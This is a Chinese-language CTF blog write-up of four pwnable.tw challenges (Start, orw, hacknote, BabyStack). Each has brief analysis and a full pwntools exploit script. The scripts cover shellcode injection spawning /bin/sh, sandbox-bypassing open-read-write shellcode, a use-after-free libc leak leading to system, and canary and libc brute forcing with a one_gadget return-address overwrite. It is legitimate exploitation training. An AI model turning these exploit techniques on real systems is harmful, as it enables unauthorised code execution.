pwnable.tw

某个大佬说过,pwnable.tw的题目rank比较高,要把这里的题目都刷一遍,才算是有基础可以进行漏洞挖掘,学pwn也快一年了,今天开始慢慢地把这里的题目一一进行复现,然后再去学习漏洞挖掘的相关知识,同时这里题目质量高,CTF的帮助应该也很大 ,加油吧,👶还期待着成为👴的那天

Start

这题在buu上做过,不细说了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
#p = process('./start')
p = remote("chall.pwnable.tw",10000)
#gdb.attach(p)
p.recvuntil("Let's start the CTF:")
payload = 'a'*0x14 + p32(0x08048087)
p.send(payload)
addr = u32(p.recv(4)) + 0x14
log.info(hex(addr))
shellcode ='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''
shellcode = 'a'*0x14 + p32(addr) + asm(shellcode)
p.send(shellcode)
p.interactive()

orw

image-20211109203654763

checksec一下,32位,只开了Canary

image-20211109203821716

image-20211109203905145

程序很简单,开了个沙箱,然后就是输入shellcode,并且帮你执行。沙箱允许执行open、read、write

image-20211109204349251

image-20211109204410933

写入的地址也是可写可执行的,所以直接写入orw的shellcode执行即可,但是要注意,flag在/home/orw/flag,然后为了四字节对齐,可以写两个0x2f,毕竟两个//这个是没有影响的

image-20211109205838679

成功!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
p = remote("chall.pwnable.tw",10001)
p.recvuntil("Give my your shellcode:")
shellcode = asm(
'''
push 0x0;
push 0x67616c66;
push 0x2f77726f;
push 0x2f2f656d;
push 0x6f682f2f;
mov ebx,esp;
xor ecx,ecx;
xor edx,edx;
mov eax,0x5;
int 0x80

mov ebx,eax;
mov eax,0x3;
mov ecx,esp;
mov edx,0x50;
int 0x80

mov eax,0x4;
mov ebx,0x1;
int 0x80
'''
)
p.send(shellcode)
p.interactive()

hacknote

这题在BUU上也做过了,直接贴wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
elf = ELF("./hacknote")
libc = ELF("./libc_32.so.6")
p = remote("chall.pwnable.tw", 10102)
def debug():
gdb.attach(p,"b main")

def add(size,content):
p.sendlineafter("Your choice :",'1')
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.send(content)

def show(idx):
p.sendlineafter("Your choice :",'3')
p.recvuntil("Index :")
p.sendline(str(idx))

def free(idx):
p.sendlineafter("Your choice :",'2')
p.recvuntil("Index :")
p.sendline(str(idx))

read_got = elf.got['read']
puts = 0x804862b
add(0x18,"aaaa")
add(0x18,"bbbb")
free(0)
free(1)
add(0x8, p32(puts) + p32(read_got))
show(0)
read = u32(p.recv(4))
system = read - libc.symbols["read"] + libc.symbols["system"]
success(hex(system))
free(2)
add(8, p32(system) + ";sh\x00")
show(0)
p.interactive()

BabyStack

checksec一下,64位,保护全开。

image-20220314171650601

程序只有两个输入点,一检查全都是不够溢出的,所以我猜测可能是栈比较近,可以引发strcpy不被 ‘\x00’ 截断,从而不断复制,导致溢出覆盖。

image-20220314171712265

image-20220314171722608

在gdb里调试了下,deadbeef是在login里面进行输入的内容,而8个b则是在copy功能里面输入的,可以看见,这两个输入是存在连续空间的,所以是可以在login里面输入好数据,让strcpy一直不断往下的复制,从而覆盖到返回地址。这里填入的deadbeef是通过’\x00’截断的,但是这显然是无用的,因为就算覆盖了返回地址,但是我们缺少了libc地址,也无法成功getshell,所以需要泄露地址,此时的login函数里面的漏洞就派上用场,可以进行由我们自主控制长度的进行不断地爆破,从而可以逐字节爆破存放在栈上的libc地址。

image-20220313215126094

image-20220313225030746

image-20220313225146974

这里是断点在strncmp函数处,两个红框是要比对的内容,下面的0x7f打头是要爆破的内容,我们自己在输入的字符串后面加’\x00’进行截断。

image-20220314162654799

最后就是这个memcmp,我一直不知道是干嘛的,直到触发了canary才反应过来去看下ida代码,发现这里是全程序中唯一个能触发出canary检查的地方,所以之前那个随机数也是要爆破出来的,之前一直以为不要爆破,只要爆破libc地址即可。

image-20220314171506095

本地打通,远程就不打了,因为远程卡,爆破比较多,很慢。远程只要注意把one_gadget换成给的libc的最后一个偏移即可

image-20220314171309899

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./babystack")
libc = elf.libc
p = process('./babystack')
#gdb.attach(p,"b *$rebase (0x102b)")

def login(rand_num):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil("Your passowrd :")
p.send(rand_num)

def copy(content):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil("Copy :")
p.send(content)

def logout():
p.recvuntil('>> ')
p.sendline('1')

rand = ''
for i in range(16):
for j in range(1,256):
login(rand + chr(j) + '\x00')
if "Success" in p.recvline():
rand += chr(j)
logout()
break
print(rand)

login('\x00' + 'a'*0x47)
copy('b'*0x39)
logout()
string = 'a'*0x8
for i in range(6):
for j in range(1,256):
login(string + chr(j) + '\x00')
if "Success" in p.recvline():
string += chr(j)
logout()
break
libc = u64(string[-6:].ljust(8, '\x00')) - libc.sym["_IO_file_setbuf"] - 9
print(hex(libc))

ogg = libc + 0xf1247
login('\x00' + 'a'*0x3f + rand + 'a'*0x18 + p64(ogg))
copy('b'*0x39)
p.recvuntil('>> ')
p.sendline('2')

p.interactive()
查看评论